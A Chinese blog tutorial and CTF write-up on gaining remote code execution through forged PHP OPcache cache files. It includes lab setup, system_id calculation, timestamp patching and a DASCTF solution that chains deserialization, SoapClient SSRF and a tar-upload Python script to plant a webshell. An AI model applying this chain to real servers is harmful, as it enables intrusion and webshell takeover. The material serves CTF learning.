首页 > 编程语言 >Opcache-PHP

Opcache-PHP

时间:2024-04-17 21:34:32浏览次数:18  
标签:文件 缓存 tar Opcache file PHP php

PHP7/8 OPCACHE缓存文件导致的RCE

OPcache基础

OPcache(Opcode Cache)是 PHP 的一个内置的加速模块,通过解析的 PHP 脚本预编译存放在共享内存中的字节码来避免每次加载和解析 PHP 脚本的开销,解析器可以直接从共享内存读取已经缓存过的字节码,从而大大提高了 PHP 的执行效率。

PHP的正常执行流程:

image-20240125212424638

  1. request请求(nginx,apache,cli等)

  2. Zend引擎读取.php文件

  3. 扫描其字典和表达式

  4. 解析文件

  5. 创建要执行的计算机代码(成为Opcode)

  6. 最后执行Opcode

  7. response返回

每一次执行 PHP 都要执行一遍上面的步骤,如果 PHP 源码没有变化,那么 OPcode 也不会变化,显然没有必要,下面是使用 OPcache 之后

image-20240125214512890

避免重组编译 减少CPU和内存开销

 

配置解读

 file_cache_only = 0
 //PHP7 的默认值为 0,表示内存缓存方式的优先级高于文件缓存,那么重写后的 OPcache 文件(webshell)是不会被执行的。但是,当 Web 服务器重启后,就可以绕过此限制。因为,服务器重启之后,内存的缓存为空,此时,OPcache 会使用文件缓存的数据填充内存缓存的数据,这样,webshell 就可以执行了。
 ​
 opcache.validate_timestamps=0
 //PHP7 的默认值为 1,表示启用了时间戳校验,OPcache 会将被请求访问的 PHP 源文件的时间戳与对应的缓存文件的时间戳进行校验。如果两个时间戳不匹配,缓存文件将被丢弃,并且重新生成一份新的缓存文件。想要绕过此限制,攻击者必须知道目标源文件的时间戳,因此可以先获取到 bin 文件,拿到时间戳,然后将我们的恶意 bin 文件的时间戳替换即可
 ​
 opcache.file_cache=/tmp
 //开启Opcache File Cache(实验性), 通过开启这个, 我们可以让Opcache把opcode缓存缓存到外部文件中, 对于一些脚本, 会有很明显的性能提升.
 这样PHP就会在 /tmp 目录下 Cache 一些 Opcode 的二进制导出文件, 可以跨 PHP 生命周期存在.
 ​
 ​

 

环境搭建

 docker pull php:7.1-apache
 //docker pull php:8.2-apache
 ​
 docker run -d -p 9000:80 --name opcache7 php:7.1-apache
 //docker run -d -p 9001:80 --name opcache8 php:8.2-apache
 ​
 apt-get update
 apt install vim
 vim phpinfo.php   //写phpinfo
 ​
 //安装opcache插件
 docker-php-ext-configure opcache --enable-opcache && docker-php-ext-install opcache
 ​
 vim /usr/local/etc/php/php.ini-production
 ​
 //找到opcache部分添加下面三行句子(如果我没记错的话在 1798 行/8是1784):cry:
 [opcache]
 opcache.enable=1
 opcache.file_cache="/tmp"
 opcache.file_cache_only=1
 ​
 //docker的php是没有php.ini配置文件的,修改了php.ini-production后复制并重命名为php.ini即可
 cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini
 ​
 ​
 //修改了php.ini要重启服务
 service apache2 reload

 

image-20240125220514393

看到这一行就说明配置成功了

再看一下 docker 中的文件

image-20240125220641020

当Opcache第一次缓存文件时, /tmp/system_id/var/www/html/phpinfo.php.bin

 

OPcache-PHP7

Opcache rce的原理

Opache 是 php 中一个生成缓存文件的拓展,当我们访问一个 php 文件时,他会产生一个缓存文件,下次访问该 php 文件时,就是直接根据缓存文件回显页面了。

所以,我们需要做的就是伪造文件替换即可

image-20240125220641020

缓存文件夹为1116d566fdc53f79abce6c01e3a0308d计算`system_id是今天的重点

可以根据phpinfo的信息计算出来system_id

在 PHP 环境下已经有前人给出我们计算脚本,https://github.com/GoSecure/php7-opcache-override

image-20240125222459527

接下来,当我们存在任意文件写入或者覆盖时,我们可以通过覆盖.php.bin文件达到RCE的目的

把文件搞下来,分析一下

image-20240125223351058

可以看到最开头是OPACHE+systemid,因此假如我们获取到了SYSTEMID,我们就可以伪造一份缓存文件了,但是还需要注意一点

image-20240125223528464

我们这里的opache拓展开启了timestamp,也就是时间戳验证,那么假如我们创建的文件时间戳不对的话,我们也无法覆盖成功的,那么就需要题目有一个获取时间的地方,假如可以下载任意文件或者直接获取时间戳,那么我们可以用010editor直接修改。

image-20240126115156714

图中蓝色代表的就是时间戳了。我们记住这个时间戳,然后我们同样去自己的服务器生成一个一句话木马的缓存bin文件:

image-20240126115241753

然后替换掉这个文件。然后访问 phpinfo.php 看看效果:

image-20240126115018583

这样就成功getshell了,需要注意一下生成恶意bin文件的php版本需要大致吻合,不能差太多。

 

 

Opcache-PHP8

在PHP8之后,opcache生成system_id的方法有些许改变,所以之前的脚本是跑不出来了

image-20240127230517383

 

image-20240127230545116

可以看出来这里的 system_id 不同

这里的规律佬说动调可以看出来是php 版本号 + API

image-20240127231104079

image-20240127231120039

 <?php
 var_dump(md5("8.2.15API420220829,NTSBIN_4888(size_t)8\002"));

最后算出来的一样

image-20240127231432879

接下来的跟 PHP7 没区别了就

 

DASCTF X 0psu3 十一月挑战赛 single_php

通过 highlight_file 高亮代码获得如下

 <!DOCTYPE html>
  <html>
  <head>
  <style>
  img {
  max-width: 200px;
  max-height: 200px;
  }
  </style>
  <title>revenge to siranai.php
 
 
  </title>
 
  </head>
  <body>
 
  <h5>
  This is my wife.She is from Imagination.
  And I,use her name as my id.
  </h5>
  <img src="mywife.png" alt="this is my wife">
  <p>I have been single dog for 19 years.<br>
  One day, my brothers betrayed the singles organization.<br>
  S* and B* ,both of them have the kanozyo.<br>
  Now revenge to them!!!!!<br>
  use '$_GET['LuckyE'](__FILE__);' to begin your revenge!!<br>
  </p>
  </body>
  </html>
  <?php
  error_reporting(0);
  class siroha{
  public $koi;
 
  public function __destruct(){
  $this->koi['zhanjiangdiyishenqing']();
  }
  }
  $kanozyo = $_GET['LuckyE'](__FILE__);
  var_dump($kanozyo);
  $suki = unserialize($_POST['suki']);
  • siranai.php

  • 存在反序列化,但是只能执行一个无参的函数,例如phpinfo()

 <?php
 class siroha{
     public $koi = array("zhanjiangdiyishenqing"=>"phpinfo");
 }
 ​
 $a = new siroha();
 echo serialize($a);

反序列化调用查看 phpinfo 相关信息

  • 首先 OPcache 开启并且缓存文件在 /tmp 目录下

image-20240127232744488

  • 然后需要注意的是时间戳是开启的,所以要办法读时间戳

image-20240127232912390

filemtime—— 取得文件修改时间

获取时间戳(官方wp是脚本读的)

image-20240127233344942

  • 接着分析一下 siranai.php 的代码

 <?php
 ​
 error_reporting(0);
 ​
 highlight_file(__FILE__);
 $allowed_ip = "127.0.0.1";
 if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
     die("S* has the kanojo but you don't");
 }
 ​
  $finfo = finfo_open(FILEINFO_MIME_TYPE);
  if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/x-tar'){
  exec('cd /tmp && tar -xvf ' . $_FILES["file"]["tmp_name"]);
  }

发现上传的文件会在/tmp目录下解压,但是限制了访问ip为127.0.0.1,需要SSRF

那么思路就很清晰了,通过反序列化的可变函数调用到__call()方法,触发SoapClient类的SSRF上传压缩包,解压到/tmp/[system_id]/var/www/html/index.php.bin实现RCE

 

1. 构造恶意的index.phpbin 文件

修改system_id + 时间戳

image-20240127235258281

 

2. 创建tar压缩包 + 反序列化实现POST请求

这里通过python请求获取到压缩包上传的报文

直接贴上官方WP里的python脚本

 ​
 import hashlib
 import tarfile
 import requests
 ​
 sys_id = hashlib.md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002".encode("utf-8")).hexdigest()
 def tar_file():
     tar_filename = 'exp.tar'
     with tarfile.open(tar_filename,'w') as tar:
         directory_info = tarfile.TarInfo(name=f'{sys_id}/var/www/html')
         directory_info.type = tarfile.DIRTYPE
         directory_info.mode = 0o777
         tar.addfile(directory_info)
         tar.add('index.php.bin', arcname=f'{sys_id}/var/www/html/index.php.bin')
 ​
 def upload():
     file = {"file":("exp.tar",open("exp.tar","rb").read(),"application/x-tar")}
     res = requests.post(url="http://78bc1e89-1ea7-4655-8f23-5c452dc6ae17.node5.buuoj.cn:81/",files=file)
     print(res.request.headers)
     return res.request
 ​
 tar_file()
 request_content = upload()
 upload_body = str(request_content.body).replace("\"","\\\"")
 print(upload_body)

 

image-20240128112438434

将生成的请求体数据封装在 SoapClient 内置类里,序列化

 <?php
 class siroha{
     public $koi;
 }
 $postdata = "";
 $a = new SoapClient(null, array('location' => "http://127.0.0.1/siranai.php", 'user_agent' => "aaa\r\n" . "Cookie: PHPSESSION=aaa\r\nContent-Type: multipart/form-data; boundary=".substr($postdata,2,32)."\r\nConnection: keep-alive\r\nAccept: */*\r\nContent-Length: 10416"."\r\n\r\n".$postdata,'uri' => "aaa"));
 $b = new siroha();
 $b->koi=["zhanjiangdiyishenqing"=>[$a,"nnnnn"]];
 echo urlencode(serialize($b));
 ​

最后suki反序列化即可,注意这里同时需要GET传参,满足var_dump($kanozyo);不报错

image-20240128112510230

这里调用 SoapClient 对象的不存在的nnnnn方法,会触发call方法。burp发包

image-20240128112818537

 

image-20240128112608042

成功 getshell

 

参考:

PHP8 OPCACHE缓存文件导致RCE - Boogiepop Doesn't Laugh (boogipop.com)

php Opcache插件进行RCE - Zer0peach can't think

Nepnep战队分享会-20:08

CTF:

春秋杯2023-php_again

ASIS CTF 2016 - BinaryCloud - Web Challenge – ctf.rip

ctfs/alictf-2016/homework at master · tothi/ctfs · GitHub

标签:文件,缓存,tar,Opcache,file,PHP,php
From: https://www.cnblogs.com/solitude0-c/p/18141810

相关文章

  • PHP响应SSE
    使用PHP创建一个SSE响应来与客户端保持连接<?phpheader('Content-Type:text/event-stream');header('Cache-Control:no-cache');header('Connection:keep-alive');//模拟数据更新(实际应用中可能是从数据库查询、监控系统获取等)functiongenerateEventData(){$dat......
  • php读取xml
    截图代码直接抄的:https://www.w3schools.com/php/php_ajax_xml.asp动动手做练习,几番调试,添加了右边绿色字体的注释。平素写码都不带注释的,写博是要分享的,就装装样子。初始学习xml是04年夏,捧一本买回来外加光盘的厚书翻了半本,仅就记得xml文件的大概结构,十来年了xml作为数据传输......
  • PHP strlen() 和mb_strlen()函数
    <?php   //测试时文件的编码方式要是UTF8   $str='中文a字1符';   echostrlen($str).'<br>';//14   echomb_strlen($str,'utf8').'<br>';//6   echomb_strlen($str,'gbk').'<br>';//8   echomb_s......
  • PHP Allowed memory size of 134217728 bytes exhausted (tried to allocate 10489856
    问题返回的json数据太大导致Allowedmemorysizeof134217728bytesexhausted(triedtoallocate10489856bytes)解决方案修改php.ini的memory_limit修改php.ini中的memory_limit数值,默认128M,不够用可以改成256M或512M宝塔中修改点击“服务”>重启或重载配置......
  • php特性
    这里是根据ctfshowphp特性做的题积累的知识1.preg_match()函数可以利用数组绕过,因为preg_match只能处理字符串,所以当传入的subject是数组时会返回false2.intval()函数!!!如果是字符串,它返回的内容取决于字符串最左侧的字符。如intval(‘11a0’)=11。所有输入的内容加上一个字母......
  • thinkphp+vue跨域报错解决方案
     使用vue的axios.post向后台服务器的发送数据时报错:CORSpolicy:Responsetopreflightrequestdoesn'tpassaccesscontrolcheck:No'Access-Control-Allow-Origin'headerispresentontherequestedresource. 解决办法在public/index.php文件中添加以下代码://......
  • 关于PHP编码的选用
    半知半觉地到了老而不肖的年纪,过往点滴,是有那么十数件要么心亏,要么愤慨,要么算了,要么绮望...诸等反复嚼陈的,选专业就是其一,写码刮不出水链会叹基础差,好多概念糊涂不清,要是有在计算机系挨过,是否捉窘就能少一些呢。说起文件编码,打从业就没怎么关注过,乱码吗?用记事本打开二进制文件就......
  • php8 新特性 match
     https://www.php.net/manual/en/control-structures.match.php   $shape=['type'=>'circle','radius'=>'10'];$res=match($shape){['type'=>'circle','rad......
  • php强弱比较
    [MRCTF2020]Ez_bypassPOST/?gg[]=QNKCDZO&id[]=s1836677006HTTP/1.1Host:b74a9axxxxxx4-6b46a513622f.node5.buuoj.cn:81Pragma:no-cacheCache-Control:no-cacheUpgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/53......
  • PHP特性 web107-
    Web107parse_str函数将前字符串解析到后边,实现变量的覆盖if(isset($_POST['v1'])){    $v1 = $_POST['v1'];    $v3 = $_GET['v3'];       parse_str($v1,$v2);       if($v2['flag']==md5($v3)){           echo $flag;    ......